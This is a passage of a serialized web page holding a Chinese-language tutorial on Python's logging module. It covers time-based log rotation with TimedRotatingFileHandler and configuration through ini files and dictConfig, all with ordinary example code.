rotating_project.log.5）\n",{"type":18,"tag":297,"props":35481,"children":35482},{"class":299,"line":4599},[35483],{"type":18,"tag":297,"props":35484,"children":35485},{},[35486],{"type":24,"value":4760},{"type":18,"tag":297,"props":35488,"children":35489},{"class":299,"line":4607},[35490],{"type":18,"tag":297,"props":35491,"children":35492},{"emptyLinePlaceholder":793},[35493],{"type":24,"value":796},{"type":18,"tag":297,"props":35495,"children":35496},{"class":299,"line":4616},[35497],{"type":18,"tag":297,"props":35498,"children":35499},{},[35500],{"type":24,"value":35501},"# 配置格式化器\n",{"type":18,"tag":297,"props":35503,"children":35504},{"class":299,"line":4624},[35505],{"type":18,"tag":297,"props":35506,"children":35507},{},[35508],{"type":24,"value":35509},"formatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\n",{"type":18,"tag":297,"props":35511,"children":35512},{"class":299,"line":4633},[35513],{"type":18,"tag":297,"props":35514,"children":35515},{},[35516],{"type":24,"value":35517},"rotating_handler.setFormatter(formatter)\n",{"type":18,"tag":297,"props":35519,"children":35520},{"class":299,"line":4641},[35521],{"type":18,"tag":297,"props":35522,"children":35523},{"emptyLinePlaceholder":793},[35524],{"type":24,"value":796},{"type":18,"tag":297,"props":35526,"children":35527},{"class":299,"line":4650},[35528],{"type":18,"tag":297,"props":35529,"children":35530},{},[35531],{"type":24,"value":35532},"# 添加处理器\n",{"type":18,"tag":297,"props":35534,"children":35535},{"class":299,"line":4658},[35536],{"type":18,"tag":297,"props":35537,"children":35538},{},[35539],{"type":24,"value":35540},"logger.addHandler(rotating_handler)\n",{"type":18,"tag":297,"props":35542,"children":35543},{"class":299,"line":4681},[35544],{"type":18,"tag":297,"props":35545,"children":35546},{"emptyLinePlaceholder":793},[35547],{"type":24,"value":796},{"type":18,"tag":297,"props":35549,"children":35550},{"class":299,"line":4703},[35551],{"type":18,"tag":297,"props":35552,"children":35553},{},[35554],{"type":24,"value":35555},"# 测试日志输出\n",{"type":18,"tag":297,"props":35557,"children":35558},{"class":299,"line":4711},[35559],{"type":18,"tag":297,"props":35560,"children":35561},{},[35562],{"type":24,"value":35563},"for i in range(1000):\n",{"type":18,"tag":297,"props":35565,"children":35566},{"class":299,"line":4720},[35567],{"type":18,"tag":297,"props":35568,"children":35569},{},[35570],{"type":24,"value":35571},"    logger.info(f\"这是第{i+1}条测试日志，用于验证日志切割功能\")\n",{"type":18,"tag":27,"props":35573,"children":35575},{"id":35574},"_4-高级使用按时间切割日志",[35576],{"type":24,"value":35577},"4. 高级使用：按时间切割日志",{"type":18,"tag":34,"props":35579,"children":35580},{},[35581,35583,35589],{"type":24,"value":35582},"使用",{"type":18,"tag":74,"props":35584,"children":35586},{"className":35585},[],[35587],{"type":24,"value":35588},"TimedRotatingFileHandler",{"type":24,"value":35590},"可按时间周期（如按天、按小时）切割日志，便于按时间维度归档日志：",{"type":18,"tag":287,"props":35592,"children":35594},{"className":28710,"code":35593,"language":28712,"meta":8,"style":8},"import logging\nfrom logging.handlers import TimedRotatingFileHandler\n\n# 创建日志器\nlogger = logging.getLogger(\"time_rotating_logger\")\nlogger.setLevel(logging.DEBUG)\n\n# 创建按时间切割的文件处理器（按天切割，保留7天备份，后缀为年月日）\ntimed_handler = TimedRotatingFileHandler(\n    \"timed_project.log\",\n    when=\"D\",  # 切割单位：S(秒)、M(分)、H(小时)、D(天)、W0-W6(星期)\n    interval=1,  # 每隔1个单位切割一次\n    backupCount=7,  # 保留7天备份\n    encoding=\"utf-8\",\n    delay=False\n)\n\n# 配置格式化器\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\ntimed_handler.setFormatter(formatter)\n\n# 添加处理器\nlogger.addHandler(timed_handler)\n\n# 测试日志输出\nlogger.info(\"按天切割的日志示例，每天生成一个新的日志文件\")\n",[35595],{"type":18,"tag":74,"props":35596,"children":35597},{"__ignoreMap":8},[35598,35605,35613,35620,35627,35635,35642,35649,35657,35665,35673,35681,35689,35697,35704,35712,35719,35726,35733,35740,35748,35755,35762,35770,35777,35784],{"type":18,"tag":297,"props":35599,"children":35600},{"class":299,"line":300},[35601],{"type":18,"tag":297,"props":35602,"children":35603},{},[35604],{"type":24,"value":34973},{"type":18,"tag":297,"props":35606,"children":35607},{"class":299,"line":657},[35608],{"type":18,"tag":297,"props":35609,"children":35610},{},[35611],{"type":24,"value":35612},"from logging.handlers import TimedRotatingFileHandler\n",{"type":18,"tag":297,"props":35614,"children":35615},{"class":299,"line":662},[35616],{"type":18,"tag":297,"props":35617,"children":35618},{"emptyLinePlaceholder":793},[35619],{"type":24,"value":796},{"type":18,"tag":297,"props":35621,"children":35622},{"class":299,"line":799},[35623],{"type":18,"tag":297,"props":35624,"children":35625},{},[35626],{"type":24,"value":35400},{"type":18,"tag":297,"props":35628,"children":35629},{"class":299,"line":808},[35630],{"type":18,"tag":297,"props":35631,"children":35632},{},[35633],{"type":24,"value":35634},"logger = logging.getLogger(\"time_rotating_logger\")\n",{"type":18,"tag":297,"props":35636,"children":35637},{"class":299,"line":817},[35638],{"type":18,"tag":297,"props":35639,"children":35640},{},[35641],{"type":24,"value":35416},{"type":18,"tag":297,"props":35643,"children":35644},{"class":299,"line":826},[35645],{"type":18,"tag":297,"props":35646,"children":35647},{"emptyLinePlaceholder":793},[35648],{"type":24,"value":796},{"type":18,"tag":297,"props":35650,"children":35651},{"class":299,"line":4524},[35652],{"type":18,"tag":297,"props":35653,"children":35654},{},[35655],{"type":24,"value":35656},"# 创建按时间切割的文件处理器（按天切割，保留7天备份，后缀为年月日）\n",{"type":18,"tag":297,"props":35658,"children":35659},{"class":299,"line":4533},[35660],{"type":18,"tag":297,"props":35661,"children":35662},{},[35663],{"type":24,"value":35664},"timed_handler = TimedRotatingFileHandler(\n",{"type":18,"tag":297,"props":35666,"children":35667},{"class":299,"line":4546},[35668],{"type":18,"tag":297,"props":35669,"children":35670},{},[35671],{"type":24,"value":35672},"    \"timed_project.log\",\n",{"type":18,"tag":297,"props":35674,"children":35675},{"class":299,"line":4555},[35676],{"type":18,"tag":297,"props":35677,"children":35678},{},[35679],{"type":24,"value":35680},"    when=\"D\",  # 切割单位：S(秒)、M(分)、H(小时)、D(天)、W0-W6(星期)\n",{"type":18,"tag":297,"props":35682,"children":35683},{"class":299,"line":4568},[35684],{"type":18,"tag":297,"props":35685,"children":35686},{},[35687],{"type":24,"value":35688},"    interval=1,  # 每隔1个单位切割一次\n",{"type":18,"tag":297,"props":35690,"children":35691},{"class":299,"line":4577},[35692],{"type":18,"tag":297,"props":35693,"children":35694},{},[35695],{"type":24,"value":35696},"    backupCount=7,  # 保留7天备份\n",{"type":18,"tag":297,"props":35698,"children":35699},{"class":299,"line":4590},[35700],{"type":18,"tag":297,"props":35701,"children":35702},{},[35703],{"type":24,"value":35463},{"type":18,"tag":297,"props":35705,"children":35706},{"class":299,"line":4599},[35707],{"type":18,"tag":297,"props":35708,"children":35709},{},[35710],{"type":24,"value":35711},"    delay=False\n",{"type":18,"tag":297,"props":35713,"children":35714},{"class":299,"line":4607},[35715],{"type":18,"tag":297,"props":35716,"children":35717},{},[35718],{"type":24,"value":4760},{"type":18,"tag":297,"props":35720,"children":35721},{"class":299,"line":4616},[35722],{"type":18,"tag":297,"props":35723,"children":35724},{"emptyLinePlaceholder":793},[35725],{"type":24,"value":796},{"type":18,"tag":297,"props":35727,"children":35728},{"class":299,"line":4624},[35729],{"type":18,"tag":297,"props":35730,"children":35731},{},[35732],{"type":24,"value":35501},{"type":18,"tag":297,"props":35734,"children":35735},{"class":299,"line":4633},[35736],{"type":18,"tag":297,"props":35737,"children":35738},{},[35739],{"type":24,"value":35509},{"type":18,"tag":297,"props":35741,"children":35742},{"class":299,"line":4641},[35743],{"type":18,"tag":297,"props":35744,"children":35745},{},[35746],{"type":24,"value":35747},"timed_handler.setFormatter(formatter)\n",{"type":18,"tag":297,"props":35749,"children":35750},{"class":299,"line":4650},[35751],{"type":18,"tag":297,"props":35752,"children":35753},{"emptyLinePlaceholder":793},[35754],{"type":24,"value":796},{"type":18,"tag":297,"props":35756,"children":35757},{"class":299,"line":4658},[35758],{"type":18,"tag":297,"props":35759,"children":35760},{},[35761],{"type":24,"value":35532},{"type":18,"tag":297,"props":35763,"children":35764},{"class":299,"line":4681},[35765],{"type":18,"tag":297,"props":35766,"children":35767},{},[35768],{"type":24,"value":35769},"logger.addHandler(timed_handler)\n",{"type":18,"tag":297,"props":35771,"children":35772},{"class":299,"line":4703},[35773],{"type":18,"tag":297,"props":35774,"children":35775},{"emptyLinePlaceholder":793},[35776],{"type":24,"value":796},{"type":18,"tag":297,"props":35778,"children":35779},{"class":299,"line":4711},[35780],{"type":18,"tag":297,"props":35781,"children":35782},{},[35783],{"type":24,"value":35555},{"type":18,"tag":297,"props":35785,"children":35786},{"class":299,"line":4720},[35787],{"type":18,"tag":297,"props":35788,"children":35789},{},[35790],{"type":24,"value":35791},"logger.info(\"按天切割的日志示例，每天生成一个新的日志文件\")\n",{"type":18,"tag":19,"props":35793,"children":35795},{"id":35794},"五配置方式",[35796],{"type":24,"value":35797},"五、配置方式",{"type":18,"tag":34,"props":35799,"children":35800},{},[35801],{"type":24,"value":35802},"logging 库支持多种配置方式，满足不同项目场景的需求：",{"type":18,"tag":27,"props":35804,"children":35806},{"id":35805},"_1-代码配置如上示例",[35807],{"type":24,"value":35808},"1. 代码配置（如上示例）",{"type":18,"tag":34,"props":35810,"children":35811},{},[35812],{"type":24,"value":35813},"通过代码直接创建 Logger、Handler、Formatter，灵活度高，适合简单项目或需要动态调整配置的场景。",{"type":18,"tag":27,"props":35815,"children":35817},{"id":35816},"_2-配置文件配置推荐中大型项目",[35818],{"type":24,"value":35819},"2. 配置文件配置（推荐中大型项目）",{"type":18,"tag":34,"props":35821,"children":35822},{},[35823,35825,35831],{"type":24,"value":35824},"通过",{"type":18,"tag":74,"props":35826,"children":35828},{"className":35827},[],[35829],{"type":24,"value":35830},"logging.config.fileConfig()",{"type":24,"value":35832},"加载配置文件（ini 格式），便于统一管理和环境切换：",{"type":18,"tag":337,"props":35834,"children":35836},{"id":35835},"步骤-1创建日志配置文件-logging_configini",[35837,35839],{"type":24,"value":35838},"步骤 1：创建日志配置文件 ",{"type":18,"tag":74,"props":35840,"children":35842},{"className":35841},[],[35843],{"type":24,"value":35844},"logging_config.ini",{"type":18,"tag":287,"props":35846,"children":35850},{"className":35847,"code":35848,"language":35849,"meta":8,"style":8},"language-ini shiki shiki-themes github-dark","[loggers]\nkeys=root,my_project_logger\n\n[handlers]\nkeys=stream_handler,file_handler\n\n[formatters]\nkeys=default_formatter\n\n[logger_root]\nlevel=WARNING\nhandlers=stream_handler\n\n[logger_my_project_logger]\nlevel=DEBUG\nhandlers=stream_handler,file_handler\nqualname=my_project_logger\npropagate=0\n\n[handler_stream_handler]\nclass=StreamHandler\nlevel=DEBUG\nformatter=default_formatter\nargs=(sys.stdout,)\n\n[handler_file_handler]\nclass=FileHandler\nlevel=DEBUG\nformatter=default_formatter\nargs=(\"project_log.ini.log\", \"a\", \"utf-8\")\n\n[formatter_default_formatter]\nformat=%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s\ndatefmt=%Y-%m-%d %H:%M:%S\n","ini",[35851],{"type":18,"tag":74,"props":35852,"children":35853},{"__ignoreMap":8},[35854,35862,35870,35877,35885,35893,35900,35908,35916,35923,35931,35939,35947,35954,35962,35970,35978,35986,35994,36001,36009,36017,36024,36032,36040,36047,36055,36063,36070,36077,36085,36092,36100,36108],{"type":18,"tag":297,"props":35855,"children":35856},{"class":299,"line":300},[35857],{"type":18,"tag":297,"props":35858,"children":35859},{},[35860],{"type":24,"value":35861},"[loggers]\n",{"type":18,"tag":297,"props":35863,"children":35864},{"class":299,"line":657},[35865],{"type":18,"tag":297,"props":35866,"children":35867},{},[35868],{"type":24,"value":35869},"keys=root,my_project_logger\n",{"type":18,"tag":297,"props":35871,"children":35872},{"class":299,"line":662},[35873],{"type":18,"tag":297,"props":35874,"children":35875},{"emptyLinePlaceholder":793},[35876],{"type":24,"value":796},{"type":18,"tag":297,"props":35878,"children":35879},{"class":299,"line":799},[35880],{"type":18,"tag":297,"props":35881,"children":35882},{},[35883],{"type":24,"value":35884},"[handlers]\n",{"type":18,"tag":297,"props":35886,"children":35887},{"class":299,"line":808},[35888],{"type":18,"tag":297,"props":35889,"children":35890},{},[35891],{"type":24,"value":35892},"keys=stream_handler,file_handler\n",{"type":18,"tag":297,"props":35894,"children":35895},{"class":299,"line":817},[35896],{"type":18,"tag":297,"props":35897,"children":35898},{"emptyLinePlaceholder":793},[35899],{"type":24,"value":796},{"type":18,"tag":297,"props":35901,"children":35902},{"class":299,"line":826},[35903],{"type":18,"tag":297,"props":35904,"children":35905},{},[35906],{"type":24,"value":35907},"[formatters]\n",{"type":18,"tag":297,"props":35909,"children":35910},{"class":299,"line":4524},[35911],{"type":18,"tag":297,"props":35912,"children":35913},{},[35914],{"type":24,"value":35915},"keys=default_formatter\n",{"type":18,"tag":297,"props":35917,"children":35918},{"class":299,"line":4533},[35919],{"type":18,"tag":297,"props":35920,"children":35921},{"emptyLinePlaceholder":793},[35922],{"type":24,"value":796},{"type":18,"tag":297,"props":35924,"children":35925},{"class":299,"line":4546},[35926],{"type":18,"tag":297,"props":35927,"children":35928},{},[35929],{"type":24,"value":35930},"[logger_root]\n",{"type":18,"tag":297,"props":35932,"children":35933},{"class":299,"line":4555},[35934],{"type":18,"tag":297,"props":35935,"children":35936},{},[35937],{"type":24,"value":35938},"level=WARNING\n",{"type":18,"tag":297,"props":35940,"children":35941},{"class":299,"line":4568},[35942],{"type":18,"tag":297,"props":35943,"children":35944},{},[35945],{"type":24,"value":35946},"handlers=stream_handler\n",{"type":18,"tag":297,"props":35948,"children":35949},{"class":299,"line":4577},[35950],{"type":18,"tag":297,"props":35951,"children":35952},{"emptyLinePlaceholder":793},[35953],{"type":24,"value":796},{"type":18,"tag":297,"props":35955,"children":35956},{"class":299,"line":4590},[35957],{"type":18,"tag":297,"props":35958,"children":35959},{},[35960],{"type":24,"value":35961},"[logger_my_project_logger]\n",{"type":18,"tag":297,"props":35963,"children":35964},{"class":299,"line":4599},[35965],{"type":18,"tag":297,"props":35966,"children":35967},{},[35968],{"type":24,"value":35969},"level=DEBUG\n",{"type":18,"tag":297,"props":35971,"children":35972},{"class":299,"line":4607},[35973],{"type":18,"tag":297,"props":35974,"children":35975},{},[35976],{"type":24,"value":35977},"handlers=stream_handler,file_handler\n",{"type":18,"tag":297,"props":35979,"children":35980},{"class":299,"line":4616},[35981],{"type":18,"tag":297,"props":35982,"children":35983},{},[35984],{"type":24,"value":35985},"qualname=my_project_logger\n",{"type":18,"tag":297,"props":35987,"children":35988},{"class":299,"line":4624},[35989],{"type":18,"tag":297,"props":35990,"children":35991},{},[35992],{"type":24,"value":35993},"propagate=0\n",{"type":18,"tag":297,"props":35995,"children":35996},{"class":299,"line":4633},[35997],{"type":18,"tag":297,"props":35998,"children":35999},{"emptyLinePlaceholder":793},[36000],{"type":24,"value":796},{"type":18,"tag":297,"props":36002,"children":36003},{"class":299,"line":4641},[36004],{"type":18,"tag":297,"props":36005,"children":36006},{},[36007],{"type":24,"value":36008},"[handler_stream_handler]\n",{"type":18,"tag":297,"props":36010,"children":36011},{"class":299,"line":4650},[36012],{"type":18,"tag":297,"props":36013,"children":36014},{},[36015],{"type":24,"value":36016},"class=StreamHandler\n",{"type":18,"tag":297,"props":36018,"children":36019},{"class":299,"line":4658},[36020],{"type":18,"tag":297,"props":36021,"children":36022},{},[36023],{"type":24,"value":35969},{"type":18,"tag":297,"props":36025,"children":36026},{"class":299,"line":4681},[36027],{"type":18,"tag":297,"props":36028,"children":36029},{},[36030],{"type":24,"value":36031},"formatter=default_formatter\n",{"type":18,"tag":297,"props":36033,"children":36034},{"class":299,"line":4703},[36035],{"type":18,"tag":297,"props":36036,"children":36037},{},[36038],{"type":24,"value":36039},"args=(sys.stdout,)\n",{"type":18,"tag":297,"props":36041,"children":36042},{"class":299,"line":4711},[36043],{"type":18,"tag":297,"props":36044,"children":36045},{"emptyLinePlaceholder":793},[36046],{"type":24,"value":796},{"type":18,"tag":297,"props":36048,"children":36049},{"class":299,"line":4720},[36050],{"type":18,"tag":297,"props":36051,"children":36052},{},[36053],{"type":24,"value":36054},"[handler_file_handler]\n",{"type":18,"tag":297,"props":36056,"children":36057},{"class":299,"line":4728},[36058],{"type":18,"tag":297,"props":36059,"children":36060},{},[36061],{"type":24,"value":36062},"class=FileHandler\n",{"type":18,"tag":297,"props":36064,"children":36065},{"class":299,"line":13515},[36066],{"type":18,"tag":297,"props":36067,"children":36068},{},[36069],{"type":24,"value":35969},{"type":18,"tag":297,"props":36071,"children":36072},{"class":299,"line":13553},[36073],{"type":18,"tag":297,"props":36074,"children":36075},{},[36076],{"type":24,"value":36031},{"type":18,"tag":297,"props":36078,"children":36079},{"class":299,"line":13591},[36080],{"type":18,"tag":297,"props":36081,"children":36082},{},[36083],{"type":24,"value":36084},"args=(\"project_log.ini.log\", \"a\", \"utf-8\")\n",{"type":18,"tag":297,"props":36086,"children":36087},{"class":299,"line":13624},[36088],{"type":18,"tag":297,"props":36089,"children":36090},{"emptyLinePlaceholder":793},[36091],{"type":24,"value":796},{"type":18,"tag":297,"props":36093,"children":36094},{"class":299,"line":13632},[36095],{"type":18,"tag":297,"props":36096,"children":36097},{},[36098],{"type":24,"value":36099},"[formatter_default_formatter]\n",{"type":18,"tag":297,"props":36101,"children":36102},{"class":299,"line":13641},[36103],{"type":18,"tag":297,"props":36104,"children":36105},{},[36106],{"type":24,"value":36107},"format=%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s\n",{"type":18,"tag":297,"props":36109,"children":36110},{"class":299,"line":13724},[36111],{"type":18,"tag":297,"props":36112,"children":36113},{},[36114],{"type":24,"value":36115},"datefmt=%Y-%m-%d %H:%M:%S\n",{"type":18,"tag":337,"props":36117,"children":36119},{"id":36118},"步骤-2加载配置文件并使用",[36120],{"type":24,"value":36121},"步骤 2：加载配置文件并使用",{"type":18,"tag":287,"props":36123,"children":36125},{"className":28710,"code":36124,"language":28712,"meta":8,"style":8},"import logging\nimport logging.config\n\n# 加载ini配置文件\nlogging.config.fileConfig(\"logging_config.ini\")\n\n# 获取日志器\nlogger = logging.getLogger(\"my_project_logger\")\n\n# 打印日志\nlogger.debug(\"通过配置文件加载的调试日志\")\nlogger.info(\"通过配置文件加载的普通日志\")\n",[36126],{"type":18,"tag":74,"props":36127,"children":36128},{"__ignoreMap":8},[36129,36136,36144,36151,36159,36167,36174,36182,36189,36196,36204,36212],{"type":18,"tag":297,"props":36130,"children":36131},{"class":299,"line":300},[36132],{"type":18,"tag":297,"props":36133,"children":36134},{},[36135],{"type":24,"value":34973},{"type":18,"tag":297,"props":36137,"children":36138},{"class":299,"line":657},[36139],{"type":18,"tag":297,"props":36140,"children":36141},{},[36142],{"type":24,"value":36143},"import logging.config\n",{"type":18,"tag":297,"props":36145,"children":36146},{"class":299,"line":662},[36147],{"type":18,"tag":297,"props":36148,"children":36149},{"emptyLinePlaceholder":793},[36150],{"type":24,"value":796},{"type":18,"tag":297,"props":36152,"children":36153},{"class":299,"line":799},[36154],{"type":18,"tag":297,"props":36155,"children":36156},{},[36157],{"type":24,"value":36158},"# 加载ini配置文件\n",{"type":18,"tag":297,"props":36160,"children":36161},{"class":299,"line":808},[36162],{"type":18,"tag":297,"props":36163,"children":36164},{},[36165],{"type":24,"value":36166},"logging.config.fileConfig(\"logging_config.ini\")\n",{"type":18,"tag":297,"props":36168,"children":36169},{"class":299,"line":817},[36170],{"type":18,"tag":297,"props":36171,"children":36172},{"emptyLinePlaceholder":793},[36173],{"type":24,"value":796},{"type":18,"tag":297,"props":36175,"children":36176},{"class":299,"line":826},[36177],{"type":18,"tag":297,"props":36178,"children":36179},{},[36180],{"type":24,"value":36181},"# 获取日志器\n",{"type":18,"tag":297,"props":36183,"children":36184},{"class":299,"line":4524},[36185],{"type":18,"tag":297,"props":36186,"children":36187},{},[36188],{"type":24,"value":35071},{"type":18,"tag":297,"props":36190,"children":36191},{"class":299,"line":4533},[36192],{"type":18,"tag":297,"props":36193,"children":36194},{"emptyLinePlaceholder":793},[36195],{"type":24,"value":796},{"type":18,"tag":297,"props":36197,"children":36198},{"class":299,"line":4546},[36199],{"type":18,"tag":297,"props":36200,"children":36201},{},[36202],{"type":24,"value":36203},"# 打印日志\n",{"type":18,"tag":297,"props":36205,"children":36206},{"class":299,"line":4555},[36207],{"type":18,"tag":297,"props":36208,"children":36209},{},[36210],{"type":24,"value":36211},"logger.debug(\"通过配置文件加载的调试日志\")\n",{"type":18,"tag":297,"props":36213,"children":36214},{"class":299,"line":4568},[36215],{"type":18,"tag":297,"props":36216,"children":36217},{},[36218],{"type":24,"value":36219},"logger.info(\"通过配置文件加载的普通日志\")\n",{"type":18,"tag":27,"props":36221,"children":36223},{"id":36222},"_3-字典配置现代-python-项目推荐",[36224],{"type":24,"value":36225},"3. 字典配置（现代 Python 项目推荐）",{"type":18,"tag":34,"props":36227,"children":36228},{},[36229,36230,36236],{"type":24,"value":35824},{"type":18,"tag":74,"props":36231,"children":36233},{"className":36232},[],[36234],{"type":24,"value":36235},"logging.config.dictConfig()",{"type":24,"value":36237},"加载字典格式配置，支持更复杂的配置逻辑（如自定义 Handler）：",{"type":18,"tag":287,"props":36239,"children":36241},{"className":28710,"code":36240,"language":28712,"meta":8,"style":8},"import logging\nimport logging.config\n\n# 日志配置字典\nLOGGING_CONFIG = {\n    \"version\": 1,\n    \"disable_existing_loggers\": False,\n    \"formatters\": {\n        \"default\": {\n            \"format\": \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n            \"datefmt\": \"%Y-%m-%d %H:%M:%S\"\n        }\n    },\n    \"handlers\": {\n        \"console\": {\n            \"class\": \"logging.StreamHandler\",\n            \"level\": \"DEBUG\",\n            \"formatter\": \"default\",\n            \"stream\": \"ext:\u002F\u002Fsys.stdout\"\n        },\n        \"file\": {\n            \"class\": \"logging.FileHandler\",\n            \"level\": \"INFO\",\n            \"formatter\": \"default\",\n            \"filename\": \"project_log.dict.log\",\n            \"encoding\": \"utf-8\"\n        }\n    },\n    \"loggers\": {\n        \"my_project_logger\": {\n            \"level\": \"DEBUG\",\n            \"handlers\": [\"console\", \"file\"],\n            \"propagate\": False\n        }\n    }\n}\n\n# 加载字典配置\nlogging.config.dictConfig(LOGGING_CONFIG)\n\n# 获取日志器并使用\nlogger = logging.getLogger(\"my_project_logger\")\nlogger.info(\"通过字典配置加载的日志信息\")\n",[36242],{"type":18,"tag":74,"props":36243,"children":36244},{"__ignoreMap":8},[36245,36252,36259,36266,36274,36282,36290,36298,36306,36314,36322,36330,36337,36344,36352,36360,36368,36376,36384,36392,36399,36407,36415,36423,36430,36438,36446,36453,36460,36468,36476,36483,36491,36499,36506,36513,36520,36527,36535,36543,36550,36558,36565],{"type":18,"tag":297,"props":36246,"children":36247},{"class":299,"line":300},[36248],{"type":18,"tag":297,"props":36249,"children":36250},{},[36251],{"type":24,"value":34973},{"type":18,"tag":297,"props":36253,"children":36254},{"class":299,"line":657},[36255],{"type":18,"tag":297,"props":36256,"children":36257},{},[36258],{"type":24,"value":36143},{"type":18,"tag":297,"props":36260,"children":36261},{"class":299,"line":662},[36262],{"type":18,"tag":297,"props":36263,"children":36264},{"emptyLinePlaceholder":793},[36265],{"type":24,"value":796},{"type":18,"tag":297,"props":36267,"children":36268},{"class":299,"line":799},[36269],{"type":18,"tag":297,"props":36270,"children":36271},{},[36272],{"type":24,"value":36273},"# 日志配置字典\n",{"type":18,"tag":297,"props":36275,"children":36276},{"class":299,"line":808},[36277],{"type":18,"tag":297,"props":36278,"children":36279},{},[36280],{"type":24,"value":36281},"LOGGING_CONFIG = {\n",{"type":18,"tag":297,"props":36283,"children":36284},{"class":299,"line":817},[36285],{"type":18,"tag":297,"props":36286,"children":36287},{},[36288],{"type":24,"value":36289},"    \"version\": 1,\n",{"type":18,"tag":297,"props":36291,"children":36292},{"class":299,"line":826},[36293],{"type":18,"tag":297,"props":36294,"children":36295},{},[36296],{"type":24,"value":36297},"    \"disable_existing_loggers\": False,\n",{"type":18,"tag":297,"props":36299,"children":36300},{"class":299,"line":4524},[36301],{"type":18,"tag":297,"props":36302,"children":36303},{},[36304],{"type":24,"value":36305},"    \"formatters\": {\n",{"type":18,"tag":297,"props":36307,"children":36308},{"class":299,"line":4533},[36309],{"type":18,"tag":297,"props":36310,"children":36311},{},[36312],{"type":24,"value":36313},"        \"default\": {\n",{"type":18,"tag":297,"props":36315,"children":36316},{"class":299,"line":4546},[36317],{"type":18,"tag":297,"props":36318,"children":36319},{},[36320],{"type":24,"value":36321},"            \"format\": \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n",{"type":18,"tag":297,"props":36323,"children":36324},{"class":299,"line":4555},[36325],{"type":18,"tag":297,"props":36326,"children":36327},{},[36328],{"type":24,"value":36329},"            \"datefmt\": \"%Y-%m-%d %H:%M:%S\"\n",{"type":18,"tag":297,"props":36331,"children":36332},{"class":299,"line":4568},[36333],{"type":18,"tag":297,"props":36334,"children":36335},{},[36336],{"type":24,"value":19492},{"type":18,"tag":297,"props":36338,"children":36339},{"class":299,"line":4577},[36340],{"type":18,"tag":297,"props":36341,"children":36342},{},[36343],{"type":24,"value":9438},{"type":18,"tag":297,"props":36345,"children":36346},{"class":299,"line":4590},[36347],{"type":18,"tag":297,"props":36348,"children":36349},{},[36350],{"type":24,"value":36351},"    \"handlers\": {\n",{"type":18,"tag":297,"props":36353,"children":36354},{"class":299,"line":4599},[36355],{"type":18,"tag":297,"props":36356,"children":36357},{},[36358],{"type":24,"value":36359},"        \"console\": {\n",{"type":18,"tag":297,"props":36361,"children":36362},{"class":299,"line":4607},[36363],{"type":18,"tag":297,"props":36364,"children":36365},{},[36366],{"type":24,"value":36367},"            \"class\": \"logging.StreamHandler\",\n",{"type":18,"tag":297,"props":36369,"children":36370},{"class":299,"line":4616},[36371],{"type":18,"tag":297,"props":36372,"children":36373},{},[36374],{"type":24,"value":36375},"            \"level\": \"DEBUG\",\n",{"type":18,"tag":297,"props":36377,"children":36378},{"class":299,"line":4624},[36379],{"type":18,"tag":297,"props":36380,"children":36381},{},[36382],{"type":24,"value":36383},"            \"formatter\": \"default\",\n",{"type":18,"tag":297,"props":36385,"children":36386},{"class":299,"line":4633},[36387],{"type":18,"tag":297,"props":36388,"children":36389},{},[36390],{"type":24,"value":36391},"            \"stream\": \"ext:\u002F\u002Fsys.stdout\"\n",{"type":18,"tag":297,"props":36393,"children":36394},{"class":299,"line":4641},[36395],{"type":18,"tag":297,"props":36396,"children":36397},{},[36398],{"type":24,"value":22318},{"type":18,"tag":297,"props":36400,"children":36401},{"class":299,"line":4650},[36402],{"type":18,"tag":297,"props":36403,"children":36404},{},[36405],{"type":24,"value":36406},"        \"file\": {\n",{"type":18,"tag":297,"props":36408,"children":36409},{"class":299,"line":4658},[36410],{"type":18,"tag":297,"props":36411,"children":36412},{},[36413],{"type":24,"value":36414},"            \"class\": \"logging.FileHandler\",\n",{"type":18,"tag":297,"props":36416,"children":36417},{"class":299,"line":4681},[36418],{"type":18,"tag":297,"props":36419,"children":36420},{},[36421],{"type":24,"value":36422},"            \"level\": \"INFO\",\n",{"type":18,"tag":297,"props":36424,"children":36425},{"class":299,"line":4703},[36426],{"type":18,"tag":297,"props":36427,"children":36428},{},[36429],{"type":24,"value":36383},{"type":18,"tag":297,"props":36431,"children":36432},{"class":299,"line":4711},[36433],{"type":18,"tag":297,"props":36434,"children":36435},{},[36436],{"type":24,"value":36437},"            \"filename\": \"project_log.dict.log\",\n",{"type":18,"tag":297,"props":36439,"children":36440},{"class":299,"line":4720},[36441],{"type":18,"tag":297,"props":36442,"children":36443},{},[36444],{"type":24,"value":36445},"            \"encoding\": \"utf-8\"\n",{"type":18,"tag":297,"props":36447,"children":36448},{"class":299,"line":4728},[36449],{"type":18,"tag":297,"props":36450,"children":36451},{},[36452],{"type":24,"value":19492},{"type":18,"tag":297,"props":36454,"children":36455},{"class":299,"line":13515},[36456],{"type":18,"tag":297,"props":36457,"children":36458},{},[36459],{"type":24,"value":9438},{"type":18,"tag":297,"props":36461,"children":36462},{"class":299,"line":13553},[36463],{"type":18,"tag":297,"props":36464,"children":36465},{},[36466],{"type":24,"value":36467},"    \"loggers\": {\n",{"type":18,"tag":297,"props":36469,"children":36470},{"class":299,"line":13591},[36471],{"type":18,"tag":297,"props":36472,"children":36473},{},[36474],{"type":24,"value":36475},"        \"my_project_logger\": {\n",{"type":18,"tag":297,"props":36477,"children":36478},{"class":299,"line":13624},[36479],{"type":18,"tag":297,"props":36480,"children":36481},{},[36482],{"type":24,"value":36375},{"type":18,"tag":297,"props":36484,"children":36485},{"class":299,"line":13632},[36486],{"type":18,"tag":297,"props":36487,"children":36488},{},[36489],{"type":24,"value":36490},"            \"handlers\": [\"console\", \"file\"],\n",{"type":18,"tag":297,"props":36492,"children":36493},{"class":299,"line":13641},[36494],{"type":18,"tag":297,"props":36495,"children":36496},{},[36497],{"type":24,"value":36498},"            \"propagate\": 